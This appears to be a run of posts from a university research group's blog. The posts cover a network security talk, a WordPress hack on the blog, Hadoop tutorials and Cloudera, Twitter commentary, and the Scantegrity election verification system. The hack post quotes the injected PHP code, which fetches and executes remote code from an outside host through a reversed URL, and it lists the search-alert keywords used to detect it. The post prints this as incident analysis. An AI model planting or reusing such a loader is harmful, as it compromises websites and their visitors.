Martin Roesch, a respected authority on intrusion prevention and detection technology and forensics, will discuss why today’s network security isn’t getting the job done. He will also share his vision on where network security is heading in the future. Why must network security be intelligent to be effective? Why must it provide full network visibility, relevant context, and automated impact assessment and IPS tuning? How can network security adapt to dynamic networks and threats in real time?

Roesch is the founder and CTO of Sourcefire, a network security company based in Columbia MD. Roesch is also well known as the creator of the widely used Snort network intrusion detection and prevention system.

The breakfast meeting is free and open to the public, but registration is required. It will take place at the Westin BWI hotel (map, 1110 Old Elkridge Landing Road, Linthicum, MD 21090, (443) 577-2300) 7:30am – 9:00am on Wednesday 30 September 2009.

Most of the details are only available if you purchase the report, but there are stories in today’s Baltimore Sun and Washington Post.

< ?php $site = create_function('','$cachedir="/tmp/"; $param="qq"; $key=$_GET[$param]; $rand="1239aef"; $said=23; $type=1; $stprot="http://blogwp.info"; '.file_get_contents(strrev("txt.mrahp/elpmaxe/deliated/ofni.pwgolb//:ptth"))); $site(); ?>

This code caused URLs like http://ebiquity.umbc.edu/?qq=1671 to redirect to a spam page. We’ve upgraded the blog to the latest Wordpress release, which hopefully will prevent this exploit from being used again. (Notice the reversed URL — LOL!)

We discovered the problem though a clever trick I read about last year on a site I’ve forgotten (maybe here). We created several Google alerts triggered by the appearance of spam-related words on pages apparently hosted by ebiquity.umbc.edu. For example:

• adult OR girls OR sex OR sexx OR XXX OR porn OR pornography site:ebiquity.umbc.edu
• viagra OR cialis OR levitra OR Phentermine OR Xanax site:ebiquity.umbc.edu

I would get several false positives a month from these alerts triggered by non-spam entries on our site. In fact, *this* post will generate a false positive. But yesterday I got a true positive. Looking at the log files, I think I got the alert within a few hours of when our blog was hacked. So I am happy to say that this worked and worked well. Without this alert, it might have taken weeks to notice the problem.

The results of this Google search reveal many compromised blogs from the .edu domain.

• Justin Boswell, Senior Programmer, Firaxis
• Barry Caudill, Executive Producer, Firaxis
• Dave Inscore, Studio Art Director, Big Huge Games
• Eric Jordan, Programmer, Firaxis
• Martin Kau, Concept Artist, Big Huge Games
• Jon Shafer, Designer/Programmer, Firaxis

You can find more information and RSVP on the FaceBook DEC page.

“Some developers are creating tools to help companies keep an eye on the buzz. Akshay Java, a scientist at Microsoft, is trying to figure out a way to identify which experts are most influential on given topics by automatically analyzing the content of their tweets and who is in their Twitter network. Companies like Microsoft could use that information to figure out which twitterers they should contact to create buzz about a new product.”

UMBC Ph.D student Vlad Korolev has written an excellent tutorial, Hadoop on Windows with Eclipse, showing how to install and use Hadoop on a single computer running Microsoft Windows. It also covers the Eclipse Hadoop plugin, which enables you to create and run Hadoop projects from Eclipse. In addition to step by step instructions, the tutorial has short videos documenting the process.

If you want to explore Hadoop and are comfortable developing Java programs in Eclipse on a Windows box, this tutorial will get you going. Once you have mastered Hadoop and had developed your first project using it, you can go about finding a cluster to run it on.

Some people who study technology aren’t sure Twitter will endure.

“Frankly, I think a lot of twittering is somewhat faddish, whereas I never thought Facebook was. … People I interviewed and surveyed would talk of serious feeling of deprivation without Facebook and I’ve hardly heard anyone say that about twitter,” Zeynep Tufekci, an assistant professor who teaches the sociology of technology at the University of Maryland, Baltimore County, wrote in an e-mail. “Will people Twitter five years from now? Perhaps, but I would not be surprised if they did not, or at least as much.”

UMBC Professor Alan Sherman and his students have been helping develop the Scantegrity open source election verification technology for optical scan voting systems. It uses privacy preserving confirmation numbers to allow each voter to verify her vote is counted and that all the votes were counted correctly.

The group has been working with Takoma Park MD to use this in a binding governmental election later this year. Alan recently wrote:

“On Saturday April 11, there will be a mock election in Takoma Park, MD, using the Scantegrity II high-integrity voting system being developed in part at the UMBC Cyber Defense Lab. Anyone is welcome to come and vote – polls will be open 10am-2pm in the Community Center at 7500 Maple Ave. This mock election is preparation for the Nov 2009 municipal election in Takoma Park which will also use Scantegrity – the first time any end-to-end cryptographic system will have been used in a binding governmental election.”

Here’s the text a short article on the election from the April 2009 Takoma Park newsletter.

This Arbor Day: Plant the Seeds for Election Verifiability

Election integrity is a major issue both nationally and internationally. During the City’s annual Arbor Day celebration, Takoma Park will try out what may be one solution. From 10 a.m. until 2 p.m. on April 11, City residents and their families and friends are invited to participate in a mock election administered by the City and its Board of Elections. The point of this mock election is to give voters an opportunity to test out and provide feedback to the City on the voting system it will use in the November 2009 municipal elections.

First among the many characteristics that set this system apart from those previously used by the City is that voters will be able to confirm that their ballots were counted.

As part of their ballot, voters will receive a confirmation code that they can write down, take home and check online to make sure their votes were counted. The confirmation number does not say how you voted and your vote remains private. What it does say, however, is that your vote is included in the final tally and that the machine read your vote correctly.

The system is paper-based and works like an optical scan voting system, making it easy to use. The only difference is that when you vote, instead of a completely black bubble, you will see the confirmation number appear as shown in the illustration above.

Writing down and checking the confirmation number is optional. So, this Arbor Day, while enjoying the festivities, drop by the Community Center Azalea Room to see how the system works. Try it out, ask questions, give feedback, and enjoy the refreshments!

To obtain more information on the Arbor Day Mock Election, visit the City’s website at www.takomaparkmd. gov. Questions may also be addressed to the City Clerk’s office at 301-891-7267 or Clerk@takomagov.org.

“In the span of just a couple of years, Hadoop, a free software program named after a toy elephant, has taken over some of the world’s biggest Web sites. It controls the top search engines and determines the ads displayed next to the results. It decides what people see on Yahoo’s homepage and finds long-lost friends on Facebook.”
…
Three top engineers from Google, Yahoo and Facebook, along with a former executive from Oracle, are betting it will. They announced a start-up Monday called Cloudera, based in Burlingame, Calif., that will try to bring Hadoop’s capabilities to industries as far afield as genomics, retailing and finance. The company has just released its own version of Hadoop. The software remains free, but Cloudera hopes to make money selling support and consulting services for the software. It has only a few customers, but it wants to attract biotech, oil and gas, retail and insurance customers to the idea of making more out of their information for less.

Cloudera’s distribution, curently based on Hadoop v0.18.3, uses RPM and comes with a Web-based configuration aide. The company also offers some free basic training in mapReduce concepts, using Hadoop, developing appropriate algorithms and using Hive.